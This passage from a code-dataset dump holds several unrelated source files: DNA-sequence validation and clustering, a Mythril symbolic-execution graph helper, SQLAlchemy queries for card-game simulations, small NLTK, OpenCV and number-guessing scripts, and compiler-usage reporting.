')\n\n w.write('
')\n w.close()\n\n\nnb_seq = len(list(SeqIO.parse(args.input, \"fasta\")))\n\nfor seq_record in SeqIO.parse(args.input, \"fasta\"):\n seq_id = seq_record.id\n seq = str(seq_record.seq)\n seq = seq.upper()\n all_seq.append(seq_id)\n # Checking if both restriction sites are present in the sequence\n if site_res_5 in seq and site_res_3 in seq:\n valid = True\n else:\n valid = False\n tag['no_restric'].append(seq_id)\n # If sequence has both restriction sites, checking if it is necessary to take the reverse complement strand\n if valid:\n site_res_5_pos = seq.index(site_res_5)\n site_res_3_pos = seq.index(site_res_3)\n # If site_res_5_pos > site_res_3_pos, reverse complement strand has to be calculated\n if site_res_5_pos > site_res_3_pos:\n # Checking if the number of nucleic acids between the restriction sites is a multiple of 3\n length = math.fabs((site_res_5_pos + len(site_res_5)) - site_res_3_pos)\n valid = length % 3 == 0\n cut_seq = seq[:site_res_5_pos + len(site_res_5)]\n cut_seq = reverse_complement(cut_seq)\n\n # Else if site_res_5_pos < site_res_3_pos, use the sequence as it is\n else:\n # Checking if the number of nucleic acids between the restriction sites is a multiple of 3\n length = math.fabs((site_res_3_pos + len(site_res_3)) - site_res_5_pos)\n valid = length % 3 == 0\n cut_seq = seq[site_res_5_pos:]\n # If the number of nucleic acids between the restriction sites isn't a multiple of 3, put the sequence away\n if not valid:\n tag['no_multiple'].append(seq_id)\n prot_seq = translate(cut_seq)\n all_seq_fasta[seq_id] = {}\n all_seq_fasta[seq_id]['prot'] = prot_seq\n else:\n # Translate nucleic sequence into amino acid sequence\n prot_seq = translate(cut_seq)\n all_seq_fasta[seq_id] = {}\n all_seq_fasta[seq_id]['prot'] = prot_seq\n\n # Looking for stop codon in the sequence and getting their position in the sequence\n if '*' in prot_seq:\n pos_stop = [m.start() for m in re.finditer(r\"\\*\", prot_seq)]\n stop = False\n # Checking if stop codon is between the restriction sites, also checking if it is an amber codon. if stop codon other than amber codon -> tag stop\n for i in range(len(pos_stop)):\n if pos_stop[i] < length / 3:\n stop_codon_nuc = cut_seq[pos_stop[i] * 3:pos_stop[i] * 3 + 3]\n if stop_codon_nuc != \"TAG\":\n tag['stop'].append(seq_id)\n stop = True\n break\n else:\n if seq_id not in tag['amber']:\n tag['amber'].append(seq_id)\n # If stop codon wasn't found between the restriction sites\n if not stop:\n \"\"\"\n # Checking if there is a stop codon outside the restriction sites. If yes -> tag ok_stop_ext\n for i in range(len(pos_stop)):\n if (pos_stop[i] > length/3):\n stop_codon_nuc = cut_seq[pos_stop[i]*3:pos_stop[i]*3+3]\n if stop_codon_nuc != \"TAG\":\n tag['ok_stop_ext'].append(seq_id)\n stop = True\n break\n else:\n if (seq_id not in tag['amber']):\n tag['amber'].append(seq_id)\n \"\"\"\n # Checking if there was a mutation in the fix part, if yes -> tag mut else retrieve variable parts\n mut = False\n pattern_part = args.pattern.split(\":\")\n tmp_prot_seq = prot_seq\n var_parts = []\n for i in range(len(pattern_part) - 1): # not checking the latest fix part\n part = pattern_part[i]\n # If part is fix\n if not part[0].isdigit():\n # If part not in prot_seq -> mutation, flag then break\n if part not in tmp_prot_seq:\n mut = True\n tag['mut'].append(seq_id)\n break\n # Else, store the variable part if exist then remove the fix part + variable part (tmp_prot_seq starts at the end of part)\n else:\n pos_fix = tmp_prot_seq.index(part)\n if pos_fix != 0:\n var_parts.append(tmp_prot_seq[0:pos_fix])\n tmp_prot_seq = tmp_prot_seq[pos_fix + len(part):]\n # Else part is variable\n else:\n nb_var_part += 1\n # Treating latest fix part if no mutation before\n if not mut:\n last_part = pattern_part[-1]\n last_var = pattern_part[-2]\n if '-' in last_var:\n var_max = int(last_var.split('-')[1])\n else:\n var_max = int(last_var)\n last_part = last_part[0:var_max + 1]\n if last_part not in tmp_prot_seq:\n mut = True\n tag['mut'].append(seq_id)\n else:\n pos_fix = tmp_prot_seq.index(last_part)\n if pos_fix != 0:\n var_parts.append(tmp_prot_seq[0:pos_fix])\n # If no mutation the sequence is validated and all the info are stored\n if not mut:\n good_seq[seq_id] = {}\n good_seq[seq_id]['dna'] = cut_seq\n good_seq[seq_id]['prot'] = prot_seq\n good_seq[seq_id]['var'] = var_parts\n\n# If all sequences are invalid, the program will exit as there is no data to continue\nif not good_seq:\n sys.exit(\"There is only one valid sequence among the input data. At least 2 valid sequences are necessary to proceed to the next step. The program will now exit\")\nelif len(good_seq.keys()) == 1:\n\n sys.exit(\"There is only one valid sequence among the input data. At least 2 valid sequences are necessary to proceed to the next step. The program will now exit\")\n\n# Initialization of dict var_seq_common\nfor n in range(nb_var_part):\n var_seq_common[str(n + 1)] = {}\n\n# Opening the file where the mcl input will be written\nwith open(mcl_file, 'w+') as mcl:\n seq_keys = good_seq.keys()\n for i in range(len(seq_keys)):\n var_1 = good_seq[list(seq_keys)[i]]['var']\n\n # Classifying variable sequences\n for k in range(len(var_1)):\n try:\n var_seq_common[str(k + 1)][var_1[k]] += 1\n except KeyError:\n var_seq_common[str(k + 1)][var_1[k]] = 1\n\n for j in range(i + 1, len(seq_keys)):\n var_2 = good_seq[list(seq_keys)[j]]['var']\n score = 0.0\n # Comparing the sequences' variable parts to find identical clones\n if var_1 == var_2:\n try:\n clone_seq = \"\".join(var_1)\n identical_clones[clone_seq].extend([seq_keys[i], seq_keys[j]])\n except KeyError:\n identical_clones[clone_seq] = [seq_keys[i], seq_keys[j]]\n # Align the 2 sequences using NWalign_PAM30 => replace by pairwise2\n seq_1 = ''.join(var_1)\n seq_2 = ''.join(var_2)\n matrix = MatrixInfo.pam30\n if len(seq_2) > len(seq_1):\n score = get_identity(pairwise2.align.globalds(seq_1, seq_2, matrix, -11, -1)[0][0], pairwise2.align.globalds(seq_1, seq_2, matrix, -11, -1)[0][1]) * 100\n else:\n score = get_identity(pairwise2.align.globalds(seq_2, seq_1, matrix, -11, -1)[0][0], pairwise2.align.globalds(seq_2, seq_1, matrix, -11, -1)[0][1]) * 100\n align_scores.append(score)\n mcl.write('%s\\t%s\\t%0.2f\\n' % (list(seq_keys)[i], list(seq_keys)[j], score))\n\n# Clusters formation\nsubprocess.call([\"mcl\", mcl_file, \"--abc\", \"-I\", \"6.0\", \"-o\", mcl_output], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n# Producing distribution graph\nplot.hist(align_scores, bins=numpy.arange(0, 101, 2))\nplot.xlabel('Pairwise Alignment Score')\nplot.ylabel('Number of occurrences')\nplot.title('Distribution of the pairwise alignment score')\nplot.grid(True)\nplot.savefig(graph_pic)\n\n# Generating html report\nreport_html(html_file, tag, all_seq, good_seq, all_seq_fasta, identical_clones, nb_var_part, var_seq_common, align_scores, args)\n\n# Removing intermediate files\nsubprocess.call([\"rm\", mcl_file, mcl_output], shell=False)\nprint(\"HTML report has been generated in the output directory. The program will now exit.\")\n","repo_name":"galaxyproject/tools-iuc","sub_path":"tools/syndiva/syndiva.py","file_name":"syndiva.py","file_ext":"py","file_size_in_byte":22698,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"61"} +{"seq_id":"28331035858","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author : \nfrom mythril.analysis.symbolic import SymExecWrapper\nfrom mythril.ethereum.evmcontract import EVMContract\n\nfrom collections import defaultdict\n\n\nclass DiGraph(object):\n\n def __init__(self):\n self._graph = defaultdict(list)\n self._conditions = {}\n self._first_added = None\n\n @property\n def nodes(self):\n \"\"\" returns the vertices of a graph \"\"\"\n return list(self._graph.keys())\n\n @property\n def edges(self):\n \"\"\" returns the edges of a graph \"\"\"\n edges = []\n for vertex, neighbours in self._graph.items():\n for neighbour in neighbours:\n if {neighbour, vertex} not in edges:\n edges.append({vertex, neighbour})\n return edges\n\n def add_node(self, vertex):\n if not self._first_added:\n self._first_added = vertex # remember first vertex\n self._graph[vertex] = []\n\n def add_edge(self, frm, to, condition):\n if not self._first_added:\n self._first_added = frm # remember first vertex\n\n self._graph[frm].append(to)\n self._conditions[(frm, to)] = condition\n\n def iterate_graph(self, start=None):\n start = start or self._first_added\n\n yield start\n # {start:[vertex1,vertex2,...]\n for vertex in self._graph[start]:\n for v in self.iterate_graph(vertex):\n yield v\n\n def __repr__(self):\n return \"<%s nodes:%d edges:%d>\" %(self.__class__.__name__,\n len(self.nodes),\n len(self.edges))\n\n def find_isolated_vertices(self):\n \"\"\" returns a list of isolated vertices. \"\"\"\n graph = self._graph\n isolated = []\n for vertex in graph:\n print(isolated, vertex)\n if not graph[vertex]:\n isolated += [vertex]\n return isolated\n\n def find_path(self, start_vertex, end_vertex, _path=None):\n \"\"\" find a path from start_vertex to end_vertex\n in graph \"\"\"\n _path = _path or []\n graph = self._graph\n _path = _path + [start_vertex]\n if start_vertex == end_vertex:\n return _path\n if start_vertex not in graph:\n return None\n for vertex in graph[start_vertex]:\n if vertex not in _path:\n extended_path = self.find_path(vertex,\n end_vertex,\n _path)\n if extended_path:\n return extended_path\n return None\n\n def find_all_paths(self, start_vertex, end_vertex, _path=None):\n \"\"\" find all paths from start_vertex to\n end_vertex in graph \"\"\"\n _path = _path or []\n graph = self._graph\n _path = _path + [start_vertex]\n if start_vertex == end_vertex or (\n not end_vertex and not graph[start_vertex]): # start_vertex == [] <-- no more vertices\n return [_path]\n if start_vertex not in graph:\n return []\n paths = []\n\n for vertex in graph[start_vertex]:\n if vertex not in _path:\n extended_paths = self.find_all_paths(vertex,\n end_vertex,\n _path)\n for p in extended_paths:\n paths.append(p)\n return paths\n\n\nclass MythrilSymExecGraph(DiGraph):\n\n def __init__(self):\n super().__init__()\n\n def get_block_and_state_by_address(self, address, prn_cmp=None):\n if not prn_cmp:\n prn_cmp = lambda x, y: x == y\n\n # find all basicblocks that contain instructions from a specific address\n for n in self.nodes:\n for s in n.states:\n instr = s.get_current_instruction()\n if prn_cmp(instr[\"address\"], address):\n yield n, s\n break\n\n def get_block_and_state_by_instruction_name(self, name, prn_cmp=None):\n \"\"\"\n\n # find all pushes\n print(list(s.get_current_instruction() for b,s in graph.get_block_and_state_by_instruction_name(\"PUSH\",prn_cmp=lambda x,y:x.startswith(y))))\n\n :param name:\n :param prn_cmp:\n :return:\n \"\"\"\n if not prn_cmp:\n prn_cmp = lambda x, y: x == y\n\n # find all basicblocks that contain instructions from a specific address\n for n in self.nodes:\n for s in n.states:\n instr = s.get_current_instruction()\n if prn_cmp(instr[\"opcode\"], name):\n yield n, s\n break\n\n def get_block_by_uid(self, uid):\n return next(b for b in self.nodes if b.uid == uid)\n\n def get_streams(self, start=None):\n \"\"\"\n Get all possible paths/forks/execution streams from starting block end of execution\n\n Example:\n for stream in graph.get_streams(graph.get_basicblock_by_uid(0)):\n print([s.uid for s in stream])\n\n [0, 1]\n [0, 2, 3, 33, 35, 36, 38]\n [0, 2, 3, 33, 35, 37]\n [0, 2, 3, 34]\n [0, 2, 4, 5, 29, 31, 32]\n [0, 2, 4, 5, 30]\n [0, 2, 4, 6, 7, 25, 27, 28]\n [0, 2, 4, 6, 7, 26]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 18, 20, 21, 23]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 18, 20, 21, 24]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 18, 20, 22]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 16, 19]\n [0, 2, 4, 6, 8, 9, 11, 13, 14, 17]\n [0, 2, 4, 6, 8, 9, 11, 13, 15]\n [0, 2, 4, 6, 8, 9, 12]\n [0, 2, 4, 6, 8, 10]\n\n\n :param start:\n :return:\n \"\"\"\n start = start or self.get_block_by_uid(0)\n return self.find_all_paths(start_vertex=start, end_vertex=None)\n\n def get_stream_by_block(self, block, start=None):\n start = start or self.get_block_by_uid(0)\n\n all_streams = self.get_streams(start=start)\n\n result_streams = []\n\n for s in all_streams:\n if block in s:\n result_streams.append(s)\n continue\n return result_streams\n\n def iterate_blocks(self, start):\n start = start or self.get_block_by_uid(0)\n\n return self.iterate_graph(start=start)\n\n def iterate_blocks_and_states(self):\n for node in self.nodes:\n for state in node.states:\n yield node, state\n\n\ndef symbolic_execute(code, address):\n contract = EVMContract(code)\n sym = SymExecWrapper(contract=contract, address=address, strategy=\"dfs\")\n\n # populate graph object\n graph = MythrilSymExecGraph()\n for n in sym.nodes.values():\n # g.add all nodes - just in case one is not connected which should not happen\n graph.add_node(n)\n\n for e in sym.edges:\n graph.add_edge(sym.nodes[e.node_from], sym.nodes[e.node_to], e)\n\n \"\"\"\n print(graph.iterate_graph())\n print(sorted([x.uid for x in graph.nodes]))\n print(graph._first_added.uid)\n print(next(graph.get_basicblocks_by_address(0)))\n print(graph.get_basicblock_by_uid(0))\n print(list(n.uid for n in graph.iterate_graph(graph.get_basicblock_by_uid(0))))\n\n print(graph.find_all_paths(graph.get_basicblock_by_uid(0), graph.get_basicblock_by_uid(37)))\n print(graph.find_all_paths(graph.get_basicblock_by_uid(0),None))\n print(\"streams\")\n for stream in graph.get_streams(graph.get_basicblock_by_uid(0)):\n print([s.uid for s in stream])\n \n print(list(s.get_current_instruction() for b,s in graph.get_block_and_state_by_instruction_name(\"PUSH\",prn_cmp=lambda x,y:x.startswith(y))))\n\n print(graph.get_stream_by_block(block=graph.get_block_by_uid(2)))\n \"\"\"\n # only work on the graph from now\n return graph\n","repo_name":"tintinweb/ethereum-dasm","sub_path":"ethereum_dasm/symbolic/mythril.py","file_name":"mythril.py","file_ext":"py","file_size_in_byte":8041,"program_lang":"python","lang":"en","doc_type":"code","stars":212,"dataset":"github-code","pt":"61"} +{"seq_id":"5838840269","text":"from typing import List\n\nimport pandas as pd\nimport config.data\nfrom sqlalchemy import create_engine, func, desc, select, label, text\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.orm import Session, sessionmaker\n\nfrom config.data import ConfigData\nfrom database import models\nfrom database.models import Base, Run, Simulation, MCTSPlayer, Player\n\n# DB_URL = \"postgresql://user:password@host.docker.internal:5432/card_games\"\nDB_URL = \"postgresql://user:password@database:5432/card_games\"\n\n\ndef make_engine():\n return create_engine(DB_URL)\n\n\nmy_engine: Engine = make_engine()\nmy_session: Session = Session(my_engine)\nSessionLocal = sessionmaker(bind=my_engine)\n\n\ndef initialise_db(engine: Engine = my_engine, session: Session = my_session):\n Base.metadata.drop_all(engine)\n Base.metadata.create_all(bind=engine)\n session.commit()\n\n\ndef save_simulation(config: ConfigData, name: str, iterations: int, config_file) -> int:\n session = SessionLocal()\n sim = models.Simulation(name=name, iterations=iterations, config_file=config_file, init_cards=config['init_cards'])\n session.add(sim)\n session.flush()\n for card in config['suits']:\n session.add(models.Suit(sim_id=sim.id, name=card['name'], numeric=card['numeric']))\n for card in config['values']:\n session.add(models.Value(sim_id=sim.id, name=card['name'], numeric=card['numeric']))\n session.commit()\n sim_id = sim.id\n session.close()\n return sim_id\n\n\ndef save_run(sim_id: int, sim_run: \"config.data.SimulationRun\") -> int:\n session = SessionLocal()\n run = Run(sim_id=sim_id, metrics_results=sim_run['metric_results'])\n session.add(run)\n session.flush()\n for player in sim_run['players']:\n type_ = player['type']\n name = player['name']\n d = dict(\n run_id=run.id,\n name=name,\n type=type_,\n shuffling=sim_run['player_shuffling'][name],\n wins=sim_run['player_wins'][name],\n spent_time=sim_run['player_spent_time'][name],\n )\n if type_ == 'mcts':\n session.add(models.MCTSPlayer(\n **d,\n heuristic=player['data']['heuristic'],\n limit=player['data']['limit'],\n iterations=player['data']['iterations'],\n width=player['data']['width'],\n expl_const=player['data']['expl_const']\n ))\n elif type_ == 'backtrack':\n session.add(models.BTPlayer(\n **d,\n heuristic=player['data']['heuristic'],\n limit=player['data']['limit'],\n ))\n else:\n session.add(models.Player(**d))\n session.commit()\n run_id = run.id\n session.close()\n return run_id\n\n\ndef query_sim_iterations(session: Session, sim_id: int) -> int:\n return session.query(Simulation.iterations).filter(Simulation.id == sim_id).first().iterations\n\n\ndef query_run_ids(session: Session, sim_id: int) -> List[int]:\n return [row.id for row in session.query(Run.id).filter(Run.sim_id == sim_id).all()]\n\n\ndef query_config_file(session: Session, sim_id: int) -> str:\n return session.query(Simulation.config_file).filter(Simulation.id == sim_id).first().config_file\n\n\ndef query_mcts_iterations(session: Session, sim_id: int, name: str):\n return [row.iterations for row in session.query(MCTSPlayer.iterations).join(Run)\n .filter(Run.sim_id == sim_id)\n .filter(MCTSPlayer.name == name).distinct().all()]\n\n\ndef query_mcts_expl(session: Session, sim_id: int, name: str):\n return [row.expl_const for row in session.query(MCTSPlayer.expl_const).join(Run)\n .filter(Run.sim_id == sim_id)\n .filter(MCTSPlayer.name == name).distinct().all()]\n\n\ndef query_mcts_heuristic(session: Session, sim_id: int) -> List[str]:\n return [row.heuristic for row in\n session.query(MCTSPlayer.heuristic).join(Run).filter(Run.sim_id == sim_id).distinct().all()]\n\n\ndef query_names(session: Session, sim_id: int) -> List[str]:\n return [row.name for row in\n session.query(Player.name).join(Run).filter(Run.sim_id == sim_id).distinct().order_by(Player.name).all()]\n\n\ndef query_max_value_for_metric(session: Session, sim_id: int, metric: str) -> float:\n subquery = session.query(text(f\"jsonb_array_elements(data->'{metric}')::float8 AS value\")) \\\n .select_from(Run, func.jsonb_array_elements(Run.metrics_results).alias('data')) \\\n .filter(Run.sim_id == sim_id) \\\n .subquery()\n return session.query(func.max(text(\"value\"))).select_from(subquery).scalar()\n\n\ndef query_avg_length_game(session: Session, sim_id: int) -> float:\n return session.query(func.avg(text(\"jsonb_array_length(data->'Size')\")))\\\n .select_from(Run, func.jsonb_array_elements(Run.metrics_results).alias('data'))\\\n .filter(Run.sim_id == sim_id).scalar()\n\n\ndef query_of_wins_and_iterations(session: Session, sim_id: int, name: str):\n return session.query(MCTSPlayer.wins, MCTSPlayer.iterations) \\\n .join(Run) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(Run.sim_id == sim_id) \\\n .order_by(MCTSPlayer.name, MCTSPlayer.iterations)\n\n\ndef query_of_wins_and_expl_const(session: Session, sim_id: int, iterations: int, name: str):\n return session.query(MCTSPlayer.wins, MCTSPlayer.expl_const).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(MCTSPlayer.iterations == iterations) \\\n .order_by(MCTSPlayer.expl_const)\n\n\ndef query_of_wins_and_heuristic(session: Session, sim_id: int, iterations: int, expl_const: float, name: str):\n query_h = session.query(MCTSPlayer.heuristic).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .distinct().subquery()\n query_w = session.query(MCTSPlayer.heuristic, MCTSPlayer.wins).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(MCTSPlayer.iterations == iterations) \\\n .filter(MCTSPlayer.expl_const == expl_const).subquery()\n # noinspection PyTypeChecker\n return session.query(query_h.c.heuristic, query_w.c.wins) \\\n .outerjoin(query_h, query_w.c.heuristic == query_h.c.heuristic, full=True) \\\n .order_by(desc(func.length(query_h.c.heuristic)))\n\n\ndef query_of_wins_width_limit(session: Session, sim_id: int, iterations: int, name: str, ):\n return session.query(MCTSPlayer.wins, MCTSPlayer.width, MCTSPlayer.limit).join(Run) \\\n .filter(Run.sim_id == sim_id) \\\n .filter(MCTSPlayer.name == name) \\\n .filter(MCTSPlayer.iterations == iterations) \\\n .order_by(MCTSPlayer.width, MCTSPlayer.limit)\n\n\ndef query_of_wins_spent_time(session: Session, sim_id: int, name: str):\n iterations = query_sim_iterations(session, sim_id)\n sub_query = select(Run.id).join(Player)\\\n .filter(Run.sim_id == sim_id)\\\n .filter(Player.name == name)\\\n .order_by(Run.id).distinct()\n return session.query(Player.name,\n label(\"wins\", 1 - Player.wins / iterations),\n label(\"spent_time\", Player.spent_time / iterations))\\\n .join(Run)\\\n .filter(Run.sim_id == sim_id)\\\n .filter(Player.name != name)\\\n .filter(Run.id.in_(sub_query)).order_by(Player.name)\n\n\ndef query_of_metric(session: Session, run_id: int, metric: str):\n return session.query(text(\"data -> '\" + metric + \"'\")).\\\n select_from(Run, func.jsonb_array_elements(Run.metrics_results).alias('data')).\\\n filter(Run.id == run_id)\n\n\ndef query_to_df(query, engine=my_engine):\n return pd.read_sql_query(query.statement, engine.connect())\n\n\ndef query_player_name(session: Session, run_id: int) -> str:\n return session.query(Player.name)\\\n .filter(Player.run_id == run_id)\\\n .filter(Player.name != 'MCTS_VANILLA2').first().name\n\n\nif __name__ == '__main__':\n initialise_db()\n","repo_name":"jakub-kassak/bachalor_thesis","sub_path":"src/database/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":7943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29018032270","text":"import sys\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\nfr = open(sys.argv[1]).read()\nsent = sent_tokenize(fr)\n\nword = []\nfor sents in sent:\n word.extend(word_tokenize(sents))\n\nprint(word)\n","repo_name":"takikawa-masaya/assignment2016","sub_path":"preprocess/word_tokenize.py","file_name":"word_tokenize.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41983463738","text":"# Crear una funcion 'adivinar' que permita adiviniar\n# un numero generado de forma aleatoria \n\nimport random\n\ndef adivinar(intentos):\n\tx = random.randint(0,100)\n\t#print (x)\n\tfor i in range(0, intentos):\n\t\tprint ('Intento Nº',i+1 ,': ', end = '')\n\t\tnum = int(input())\n\t\tif num == x :\n\t\t\tprint ('Felicidades. Adivino el numero en', i, 'intentos.')\n\t\t\texit()\n\t\telse :\n\t\t\tprint ('Numero incorrecto.', end = '')\n\telse :\n\t\tprint ('\\nHa superado el numero de intentos. Suerte para la proxima.')\n\t\texit()\n\nprint ('Adivine el numero generado de forma aleatoria entre 0 y 100.')\nintentos = int (input ('Primero ingrese la cantidad de intentos: '))\nprint ('Comencemos')\nadivinar(intentos)","repo_name":"alvaro-moralesg/Vision-Por-Computadora","sub_path":"p1/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40966285908","text":"import logging\nfrom os import walk\nfrom os.path import abspath, join, isfile\nfrom typing import Generator, List, Optional\n\n\n__all__ = [\"main\"]\n\n\ndef main(cmd, path: str, verbose: bool, **kwargs) -> None:\n level = logging.ERROR\n if verbose:\n level = logging.INFO\n logging.getLogger().setLevel(level)\n\n # this could easily be parallelized\n path = abspath(path)\n\n if isfile(path):\n job = cmd(path=path)\n job.run(**kwargs)\n\n else:\n for md_file in markdown_finder(path):\n job = cmd(path=md_file)\n job.run(**kwargs)\n\n\n# ---------------------------------------------------------\ndef markdown_finder(\n directory: str,\n ignore: Optional[List[str]] = None,\n) -> Generator:\n if not ignore:\n ignore = []\n\n for d in _walk_dir(directory=directory, ignore=ignore):\n yield d\n\n\ndef _walk_dir(\n directory: str, ignore: list\n) -> Generator[str, None, None]:\n for root, dirs, files in walk(directory, topdown=True):\n for ign in ignore:\n if ign in dirs:\n dirs.remove(ign)\n\n for dir in dirs:\n if dir.startswith(\".\"):\n dirs.remove(dir)\n\n for file in files:\n if is_md(file):\n yield join(root, file)\n\n\ndef is_md(filename: str) -> bool:\n return filename.endswith(\".md\")\n","repo_name":"kremrik/hot-rod-markdown","sub_path":"hrm/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24771272715","text":"#!/usr/bin/env python\n\"\"\"\nsetup.py file for SWIG stdVector\n\"\"\"\nfrom distutils.core import setup, Extension\nstdVector_module = Extension('_stdVector',\n sources=['stdVector_wrap.cxx']\n )\nsetup (name = 'stdVector',\n version = '0.1',\n author = \"SWIG Docs\",\n description = \"\"\"Simple swig stdVector from docs\"\"\",\n ext_modules = [stdVector_module],\n py_modules = [\"stdVector\"],\n )\n","repo_name":"pixelmuerto/pixelmuerto.github.com","sub_path":"_includes/wiki/swig/stdVectorSetup.py","file_name":"stdVectorSetup.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"34611483831","text":"from operator import itemgetter\n\nclass CompilerUsageByCount:\n def __init__(self, cursor):\n self.__linkA = []\n self.__cursor = cursor\n def build(self, args, startdate, enddate):\n query = \"\"\"\n SELECT link_program, count(date) as count FROM xalt_link\n WHERE build_syshost like %s\n AND date >= %s AND date <= %s\n GROUP by link_program\n \"\"\"\n cursor = self.__cursor\n cursor.execute(query, (args.syshost, startdate, enddate))\n resultA = cursor.fetchall()\n linkA = self.__linkA\n for link_program, count in resultA:\n entryT = { 'count' : count,\n 'link_program' : link_program }\n linkA.append(entryT)\n \n def report_by(self, args, sort_key):\n resultA = []\n resultA.append([\"Count\", \"Link Program\"])\n resultA.append([\"-----\", \"------------\"])\n\n linkA = self.__linkA\n sortA = sorted(linkA, key=itemgetter(sort_key), reverse=True)\n num = min(int(args.num), len(sortA))\n for i in range(num):\n entryT = sortA[i]\n resultA.append([\"%d\" % (entryT['count']), entryT['link_program']])\n \n return resultA\n\nclass CompilerUsageByCoreHours:\n def __init__(self, cursor):\n self.__linkA = []\n self.__cursor = cursor\n\n def build(self, args, startdate, enddate):\n query = \"\"\"\n SELECT\n ROUND(SUM(t1.run_time*t1.num_cores/3600.0)) as corehours,\n COUNT(t1.date) as n_runs,\n COUNT(DISTINCT(t1.user)) as n_users,\n t2.link_program as link_program\n FROM xalt_run as t1, xalt_link as t2\n WHERE t1.uuid is not NULL\n AND t1.uuid = t2.uuid\n and t1.syshost like %s\n AND t1.date >= %s and t1.date <= %s\n GROUP by link_program\n \"\"\"\n cursor = self.__cursor\n cursor.execute(query, (args.syshost, startdate, enddate))\n resultA = cursor.fetchall()\n linkA = self.__linkA\n for corehours, n_runs, n_users, link_program in resultA:\n entryT = { 'corehours' : corehours,\n 'n_users' : n_users,\n 'n_runs' : n_runs,\n 'link_program': link_program\n }\n linkA.append(entryT)\n \n\n def report_by(self, args, sort_key):\n resultA = []\n resultA.append(['CoreHrs', '# Users','# Runs','Link Program'])\n resultA.append(['-------', '-------','------','------------'])\n\n linkA = self.__linkA\n sortA = sorted(linkA, key=itemgetter(sort_key), reverse=True)\n num = min(int(args.num), len(sortA))\n for i in range(num):\n entryT = sortA[i]\n resultA.append([\"%.0f\" % (entryT['corehours']), \"%d\" % (entryT['n_users']), \"%d\" % (entryT['n_runs']), \\\n entryT['link_program']])\n return resultA\n\n","repo_name":"ZQyou/xalt_usage_report","sub_path":"report/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15074073011","text":"#Canny serve para detecção de bordas na imagem.\n\nimport cv2\n\n#seleciona a imagem\nobj_img = cv2.imread (\"imgs/paisagem.jpg\")\n\nimg = cv2.cvtColor(obj_img, cv2.COLOR_BGR2GRAY)\n\ncanny_image = cv2.Canny(img, 80, 1000)\n\ncv2.imshow(\"gray\", img)\ncv2.imshow(\"canny\", canny_image)\ncv2.waitKey(0)\n\ncv2.imwrite (\"canny.jpg\", canny_image)\n\n","repo_name":"andersontbessa/Lapisco-training-in-Python-OpenCV---answers","sub_path":"6/6 filtros passa alta de canny (cv_canny).py","file_name":"6 filtros passa alta de canny (cv_canny).py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25709614783","text":"from Lab7.MyException import MyException\nfrom Lab7.Repository import Repository\nfrom random import random\nimport matplotlib.pyplot as plt\n\n\nclass Controller:\n def __init__(self, repository: Repository):\n self.__repository = repository\n self.__repository.importData('database.data')\n\n def run(self, testSizeStr, withShuffleStr, noOfEpochsStr, learningRateStr):\n testSize, withShuffle, noOfEpochs, learningRate = self.__validate(testSizeStr, withShuffleStr, noOfEpochsStr, learningRateStr)\n self.start(testSize, withShuffle, noOfEpochs, learningRate)\n\n def start(self, testSize, withShuffle, noOfEpochs, learningRate):\n self.__repository.splitData(testSize, withShuffle)\n\n weights = self.__train(noOfEpochs, learningRate)\n self.__test(weights)\n\n def __train(self, noOfEpochs, learningRate):\n rows = self.__repository.trainData\n noOfRows = len(rows)\n noOfAttributes = len(rows[0]) - 1\n\n losses = []\n\n # initialise weights\n weights = [random() for noOfWeight in range(noOfAttributes)]\n\n for epoch in range(noOfEpochs):\n\n predictedValues = [self.__compute(weights, row) for row in rows]\n errors = [predictedValues[rowIndex] - rows[rowIndex][-1] for rowIndex in range(noOfRows)]\n errorsSquared = [error ** 2 for error in errors]\n\n loss = (1.0 / (2 * noOfRows)) * sum(errorsSquared)\n losses.append(loss)\n\n derivatives = [0] * noOfAttributes\n for derivativeIndex in range(noOfAttributes):\n for rowIndex in range(noOfRows):\n derivatives[derivativeIndex] = derivatives[derivativeIndex] + errors[rowIndex] * rows[rowIndex][derivativeIndex]\n derivatives[derivativeIndex] /= noOfRows\n\n # update weights\n for weightIndex in range(noOfAttributes):\n weights[weightIndex] = weights[weightIndex] - learningRate * derivatives[weightIndex]\n\n plt.plot(range(noOfEpochs), losses)\n plt.xlabel(\"iteration\")\n plt.ylabel(\"loss function\")\n plt.show()\n\n return weights\n\n def __test(self, weights):\n rows = self.__repository.testData\n noOfRows = len(rows)\n\n predicted = [self.__compute(weights, row) for row in rows]\n errors = [rows[index][-1] - predicted[index] for index in range(noOfRows)]\n\n for index in range(noOfRows):\n print(\"{} -> Actual: {:.2f} . Predicted: {:.2f} . Error: {:.2f} .\".format(index + 1, rows[index][-1],\n predicted[index], 